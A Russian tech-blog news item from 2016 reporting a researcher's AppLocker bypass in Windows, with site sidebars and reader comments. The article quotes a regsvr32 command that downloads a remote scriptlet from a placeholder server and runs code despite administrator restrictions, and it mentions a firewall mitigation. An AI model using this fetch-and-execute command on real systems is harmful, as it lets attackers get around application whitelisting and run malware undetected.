Лилия К* предлагает Вам запомнить сайт «Гаджеты. Технологии. Интернет»
Вы хотите запомнить сайт «Гаджеты. Технологии. Интернет»?
Да Нет
×
Прогноз погоды

Электронные новинки интересные и разные

Безопасность Windows оказалась под угрозой

развернуть
Безопасность Windows оказалась под угрозой

В течение многих лет в бизнес-ориентированных версиях Windows присутствует функция AppLocker, которая позволяет администратору регулировать запуск тех или иных программ на компьютере. Например, можно запретить установку любых программ или запуск уже имеющихся приложений, которые не относятся к работе сотрудника. Это несомненно полезно для компаний, стремящихся защитить свою структуру от потенциально опасного ПО, однако исследователь Кейси Смит (Casey Smith) выяснил, что полностью доверять AppLocker не стоит, поскольку обнаруженная им уязвимость позволяет обходить ограничения администратора с помощью одной строки кода. Таким образом хакерам ничего не стоит взломать компьютеры и запустить вредоносное ПО.


Кейси Смит указал на инструмент Regsvr32, который можно использовать не по назначению для скачивания из интернета определенного XML-файла. Ввод команды вида regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll и скачивание файла, приведет к запуску cmd.exe, который можно заменить на любую другую программу, несмотря на установленные администратором ограничения в AppLocker. Атака не оставляет следов на жестком диске и в реестре, а в арсенале Microsoft пока не существует соответствующей «заплатки» для этой уязвимости. Описание ее Смит опубликовал на сервисе GitHub. Как вариант защиты рекомендуется отрезать Regsvr32 от интернета с помощью файервола.

Источник


Опубликовано 27.04.2016 в 22:01

Комментарии

Показать предыдущие комментарии (показано %s из %s)
Показать новые комментарии
Комментарии Facebook
Свежее
МАГИ ЗА ОБЛАКАМИ
15 июл, 16:30
+33 0
Пророчество от Марка и Маска
15 июл, 16:09
0 0
Гибридная солнечная печь GoSun приготовит еду днем и ночью
6 июл, 23:08
+35 0
Активные очки-протез помогут победить старческие проблемы со зрением
6 июл, 21:52
+2 1
В РОССИИ ОТМЕНЯТ ОБЫЧНЫЕ ПОЛИСЫ ОСАГО
6 июл, 21:10
0 0
Госорганы проверят российские АЗС на недолив топлива и присадки в бензине
6 июл, 19:05
0 1
Подорожавший бензин на российских заправках ещё и недоливают
6 июл, 08:28
0 0
Робота научили печатать конструкции из обычного песка
6 июл, 07:02
0 0
Представлен умный стол, в который встроено все для работы
6 июл, 00:19
0 0
Nvidia может представить GeForce GTX 1180 уже в следующем месяце
5 июл, 23:57
0 0
Читать

Facebook Like Box

Поиск по блогу

Последние комментарии

Антон Doe
Andrreyy
Антон Doe
Антон Doe
Max Belousov
Andrreyy
Антон Doe
Andrreyy
Антон Doe
Andrreyy
Антон Doe
Антон Doe
Марина Антонова
Сергей Замыслов
Юрий Ермолин
Ждём доработанный вариант.
Юрий Ермолин Активные очки-протез помогут победить старческие проблемы со зрением
Виктор Шерстобитов
Иозеф Швейх
Виктор Шерстобитов
VORON VoronS
Виктор Шерстобитов
Виктор Шерстобитов
Виктор Шерстобитов
Ирина Оболенская
VORON VoronS
Ирина Оболенская
VORON VoronS
Не поняла... А зачем?...
VORON VoronS Владельцы смартфонов на Android теперь могут отправлять сообщения с любого компьютера
Артём Ракчеев
Автор откуда откопал загробную музыку
Артём Ракчеев Bluetooth колонка из тройника
Валерий Викторович Баженов
Александр П-старший
Евгений Торочков
Опять новые костыли придумали.
Евгений Торочков Segway предлагает вам заработать травму совершенно новым способом
Volodja Podolin
Max Belousov
alex-r
alex-r
У луддитов были аналогичные мысли ))
alex-r Тысячи шведов имплантируют микрочипы себе под кожу, и вот почему
Борис Иванович Назаров
Andrreyy
Владимир Барашкин
Спасибо за материал!!!
Владимир Барашкин 8 секретных примочек, о которых должен знать каждый владелец смартфона
Лаврентий Палыч Берия
Quli Fam
Япония живет в 22 веке, а мы в 19
Quli Fam ТОП-25: Футуристические гаджеты, которые продаются только в Японии
Νίκος orfanidis
спасибо очень познавательно
Νίκος orfanidis 10 полезных сервисов Google, о которых вы не знали
Лебедев Алексей
alex-r
Если биткоин начнет рост, то и в/карты разойдутся
alex-r В июле ожидается резкое падение цен на 3D-карты
Лаврентий Палыч Берия
Виктор Семёнов
Остальные тоже посыпятся.
Виктор Семёнов В июле ожидается резкое падение цен на 3D-карты
Лаврентий Палыч Берия
Виктор Семёнов
у тебя по математике была двойка? снижение на 60 баксов..
Виктор Семёнов В июле ожидается резкое падение цен на 3D-карты
Артём Ракчеев
Лаврентий Палыч Берия
Dialog Expert
Валерий Викторович Баженов
Самые прорывные гаджеты Росс…

Самые прорывные гаджеты России 2017 года

18 июн, 17:01
+53 6
На 99,8% состоящее из воздух…

На 99,8% состоящее из воздуха твердое вещество покорило весь мир!

25 июн, 11:13
+52 7
Дрессированный паук поможет …

Дрессированный паук поможет в разработке новых роботов

21 июн, 21:01
+50 0
ТОП-25: Футуристические гадж…

ТОП-25: Футуристические гаджеты, которые продаются только в Японии

3 июл, 18:01
+50 1
Отключите эти службы и ваша …

Отключите эти службы и ваша ос Windows 7 будет работать быстрее!

24 июн, 09:01
+50 1